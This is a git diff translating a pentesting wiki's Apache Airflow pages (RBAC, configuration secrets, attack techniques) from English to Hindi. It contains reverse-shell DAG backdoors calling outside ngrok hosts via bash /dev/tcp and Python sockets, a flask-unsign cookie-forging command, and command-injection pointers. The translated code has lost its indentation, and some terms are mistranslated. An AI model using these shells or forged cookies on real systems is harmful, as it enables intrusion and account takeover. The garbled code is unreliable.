-Expand this to get detailed description of available roles +उपलब्ध भूमिकाओं का विस्तृत विवरण प्राप्त करने के लिए इसे विस्तारित करें 1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. +- यह सुपरयूजर भूमिका है जिसमें सिस्टम में किसी भी संसाधन तक पहुँचने और संशोधित करने की अनुमति है। +- वे सभी संगठनों, टीमों, परियोजनाओं, इन्वेंटरी, नौकरी टेम्पलेट्स आदि का प्रबंधन कर सकते हैं। 2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. +- इस भूमिका वाले उपयोगकर्ता सभी सिस्टम डेटा को देख सकते हैं लेकिन कोई परिवर्तन नहीं कर सकते। +- यह भूमिका अनुपालन और निगरानी के लिए डिज़ाइन की गई है। 3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. +- **Admin**: संगठन के संसाधनों पर पूर्ण नियंत्रण। +- **Auditor**: संगठन के संसाधनों तक केवल देखने की पहुँच। +- **Member**: संगठन में बिना किसी विशेष अनुमति के बुनियादी सदस्यता। +- **Execute**: संगठन के भीतर नौकरी टेम्पलेट्स चला सकते हैं। +- **Read**: संगठन के संसाधनों को देख सकते हैं। 4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). +- **Admin**: परियोजना का प्रबंधन और संशोधन कर सकते हैं। +- **Use**: नौकरी टेम्पलेट में परियोजना का उपयोग कर सकते हैं। +- **Update**: SCM (source control) का उपयोग करके परियोजना को अपडेट कर सकते हैं। 5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. +- **Admin**: इन्वेंटरी का प्रबंधन और संशोधन कर सकते हैं। +- **Ad Hoc**: इन्वेंटरी पर अद हॉक कमांड चला सकते हैं। +- **Update**: इन्वेंटरी स्रोत को अपडेट कर सकते हैं। +- **Use**: नौकरी टेम्पलेट में इन्वेंटरी का उपयोग कर सकते हैं। +- **Read**: केवल देखने की पहुँच। 6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. +- **Admin**: नौकरी टेम्पलेट का प्रबंधन और संशोधन कर सकते हैं। +- **Execute**: नौकरी चला सकते हैं। +- **Read**: केवल देखने की पहुँच। 7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. +- **Admin**: क्रेडेंशियल्स का प्रबंधन और संशोधन कर सकते हैं। +- **Use**: नौकरी टेम्पलेट्स या अन्य संबंधित संसाधनों में क्रेडेंशियल्स का उपयोग कर सकते हैं। +- **Read**: केवल देखने की पहुँच। 8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. +- **Member**: टीम का हिस्सा लेकिन बिना किसी विशेष अनुमति के। +- **Admin**: टीम के सदस्यों और संबंधित संसाधनों का प्रबंधन कर सकते हैं। 9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +- **Admin**: कार्यप्रवाह का प्रबंधन और संशोधन कर सकते हैं। +- **Execute**: कार्यप्रवाह चला सकते हैं। +- **Read**: केवल देखने की पहुँच।
{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..7bf3df6f6 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -4,20 +4,19 @@ ### Basic Information -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यापार बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं। -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होगा**। ### Local Lab #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +आप **https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml** से **docker-compose कॉन्फ़िग फ़ाइल का उपयोग कर सकते हैं** ताकि एक पूर्ण apache airflow docker वातावरण लॉन्च किया जा सके। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)। #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +**apache airflow को चलाने का एक आसान तरीका** इसे **minikube के साथ चलाना है**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` - ### Airflow Configuration -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflow अपनी कॉन्फ़िगरेशन में **संवेदनशील जानकारी** संग्रहीत कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं: {{#ref}} airflow-configuration.md @@ -38,7 +36,7 @@ airflow-configuration.md ### Airflow RBAC -Before start attacking Airflow you should understand **how permissions work**: +Airflow पर हमला करने से पहले आपको **अनुमतियों का काम कैसे होता है** समझना चाहिए: {{#ref}} airflow-rbac.md @@ -48,55 +46,52 @@ airflow-rbac.md #### Web Console Enumeration -If you have **access to the web console** you might be able to access some or all of the following information: +यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Variables** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है) +- **Connections** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है) +- उन्हें `http:///connection/list/` में एक्सेस करें +- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां संग्रहीत किए जा सकते हैं) +- **उपयोगकर्ताओं और भूमिकाओं** की सूची +- **प्रत्येक DAG का कोड** (जिसमें दिलचस्प जानकारी हो सकती है) #### Retrieve Variables Values -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +Variables को Airflow में संग्रहीत किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http:///variable/list/` में एक्सेस कर सकते हैं।\ +Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, यह संभव है कि **वेरिएबल्स की एक सूची** सेट की जाए जिनका **मान** **अतिरिक्त चिह्नों** के रूप में **GUI** में दिखाई देगा। ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस की आवश्यकता है), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\ +GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स का चयन करें** जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\ +एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके तब तक करें जब तक आप इसे प्राप्त न कर लें: ![](<../../images/image (152).png>) #### Privilege Escalation -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. - +यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **भूमिका उपयोगकर्ता** और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** प्रकट होता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का हस्ताक्षरित कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**। ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG बैकडोर (Airflow कार्यकर्ता में RCE) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +यदि आपके पास **लिखने की अनुमति** है जहाँ **DAGs सहेजे जाते हैं**, तो आप बस **एक बना सकते हैं** जो आपको एक **रिवर्स शेल** भेजेगा।\ +ध्यान दें कि यह रिवर्स शेल एक **airflow कार्यकर्ता कंटेनर** के अंदर निष्पादित होने वाला है: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG बैकडोर (Airflow शेड्यूलर में RCE) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के क्षण में, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद। ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` - #### DAG Creation -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और ये **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**। #### DAG Code Injection -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) +जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** पास कर सकते हैं।\ +इसलिए, यदि DAG सही तरीके से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\ +यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ जानने की आवश्यकता है, वह यह है कि** **पैरामीटर्स** **कोड** **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं। +इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **एक्सेस किया जाता है**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..43acd38fd 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,112 +4,102 @@ ## Configuration File -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** सभी एयरफ्लो मशीनों में एक **config file** उत्पन्न करता है जिसे **`airflow.cfg`** कहा जाता है, जो एयरफ्लो उपयोगकर्ता के होम में होता है। यह config file कॉन्फ़िगरेशन जानकारी रखती है और **दिलचस्प और संवेदनशील जानकारी हो सकती है।** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**इस फ़ाइल तक पहुँचने के दो तरीके हैं: कुछ एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` जैसे env वेरिएबल सेट करके ओवरराइट कर सकते हैं। -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +यदि आपके पास **वेब सर्वर में config file तक पहुँच है**, तो आप उसी पृष्ठ पर **वास्तविक चल रही कॉन्फ़िगरेशन** की जांच कर सकते हैं जहाँ config प्रदर्शित होता है।\ +यदि आपके पास **एयरफ्लो वातावरण के अंदर किसी मशीन तक पहुँच है**, तो **पर्यावरण** की जांच करें। -Some interesting values to check when reading the config file: +config file पढ़ते समय जांचने के लिए कुछ दिलचस्प मान: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: यह **CORS** के लिए **अनुमत** **हेडर** को इंगित करता है +- **`access_control_allow_methods`**: यह **CORS** के लिए **अनुमत विधियों** को इंगित करता है +- **`access_control_allow_origins`**: यह **CORS** के लिए **अनुमत मूल** को इंगित करता है +- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं यह निर्धारित करने के लिए कि कौन API तक पहुँच सकता है: +- `airflow.api.auth.backend.deny_all`: **डिफ़ॉल्ट रूप से कोई भी** API तक पहुँच नहीं सकता +- `airflow.api.auth.backend.default`: **सभी** बिना प्रमाणीकरण के इसे एक्सेस कर सकते हैं +- `airflow.api.auth.backend.kerberos_auth`: **केरबेरस प्रमाणीकरण** कॉन्फ़िगर करने के लिए +- `airflow.api.auth.backend.basic_auth`: **बुनियादी प्रमाणीकरण** के लिए +- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है ( [**यहां**](https://cloud.google.com/composer/docs/access-airflow-api) से)। +- `composer_auth_user_registration_role`: यह **भूमिका** को इंगित करता है जो **कंपोज़र उपयोगकर्ता** को **एयरफ्लो** के अंदर मिलेगी (**Op** डिफ़ॉल्ट रूप से)। +- आप **पायथन** के साथ अपना खुद का प्रमाणीकरण विधि भी **बना सकते हैं**। +- **`google_key_path`:** **GCP सेवा खाता कुंजी** का पथ ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: एटलस पासवर्ड +- **`username`**: एटलस उपयोगकर्ता नाम ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : क्रेडेंशियल (_user1:password1,user2:password2_) +- **`result_backend`**: पोस्टग्रेस यूआरएल जिसमें **क्रेडेंशियल** हो सकते हैं। +- **`ssl_cacert`**: कैसर्ट का पथ +- **`ssl_cert`**: प्रमाणपत्र का पथ +- **`ssl_key`**: कुंजी का पथ ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` स्ट्रिंग्स नहीं हैं। +- **`fernet_key`**: एन्क्रिप्टेड वेरिएबल्स को स्टोर करने के लिए कुंजी (संपूर्ण) +- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएं। +- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केरबेरस) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: ca का पथ +- **`tls_cert`**: प्रमाणपत्र का भाग +- **`tls_key`**: tls कुंजी का भाग ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: ccache फ़ाइल का पथ +- **`forwardable`**: डिफ़ॉल्ट रूप से सक्षम ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: GCP JSON क्रेड्स का पथ। ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: सक्रिय करने के लिए रहस्यों के बैकएंड का पूरा वर्ग नाम +- **`backend_kwargs`**: backend_kwargs पैरामीटर को एक शब्दकोश में लोड किया जाता है और रहस्यों के बैकएंड वर्ग के **init** में पास किया जाता है। ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: SMTP पासवर्ड +- **`smtp_user`**: SMTP उपयोगकर्ता ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: डिफ़ॉल्ट रूप से यह **Lax** है, इसलिए यह पहले से ही सबसे कमजोर संभव मान है +- **`cookie_secure`**: सत्र कुकी पर **सुरक्षित ध्वज** सेट करें +- **`expose_config`**: डिफ़ॉल्ट रूप से False है, यदि सत्य है, तो **config** को वेब **कंसोल** से **पढ़ा** जा सकता है +- **`expose_stacktrace`**: डिफ़ॉल्ट रूप से यह सत्य है, यह **पायथन ट्रेसबैक** दिखाएगा (संभावित रूप से हमलावर के लिए उपयोगी) +- **`secret_key`**: यह **कुंजी है जिसका उपयोग फ्लास्क कुकीज़ पर हस्ताक्षर करने के लिए किया जाता है** (यदि आपके पास यह है तो आप **एयरफ्लो में किसी भी उपयोगकर्ता का अनुकरण कर सकते हैं**) +- **`web_server_ssl_cert`**: **SSL** **प्रमाणपत्र** का **पथ** +- **`web_server_ssl_key`**: **SSL** **कुंजी** का **पथ** +- **`x_frame_enabled`**: डिफ़ॉल्ट **सत्य** है, इसलिए डिफ़ॉल्ट रूप से क्लिकजैकिंग संभव नहीं है ### Web Authentication -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as - +डिफ़ॉल्ट रूप से **वेब प्रमाणीकरण** फ़ाइल **`webserver_config.py`** में निर्दिष्ट है और इसे इस प्रकार कॉन्फ़िगर किया गया है ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +जिसका मतलब है कि **प्रमाणीकरण डेटाबेस के खिलाफ जांचा जाता है**। हालाँकि, अन्य कॉन्फ़िगरेशन संभव हैं जैसे ```bash AUTH_TYPE = AUTH_OAUTH ``` +**तीसरे पक्ष की सेवाओं** को **प्रमाणीकरण** छोड़ने के लिए। -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +हालांकि, **गुमनाम उपयोगकर्ताओं को पहुंच** की अनुमति देने का एक विकल्प भी है, निम्नलिखित पैरामीटर को **चाहे गए भूमिका** पर सेट करना: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..80c4c84d6 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**। **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**। लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना। -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं। +- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं। +- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए)। यह **कॉन्फ़िगरेशन नहीं देख सकता।** +- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं। वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है।** +- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं। -Note that **admin** users can **create more roles** with more **granular permissions**. +ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं। -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op** ऐसा करने में सक्षम होगा। ### Default Permissions -These are the default permissions per default role: +ये डिफ़ॉल्ट भूमिकाओं के लिए डिफ़ॉल्ट अनुमतियाँ हैं: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on 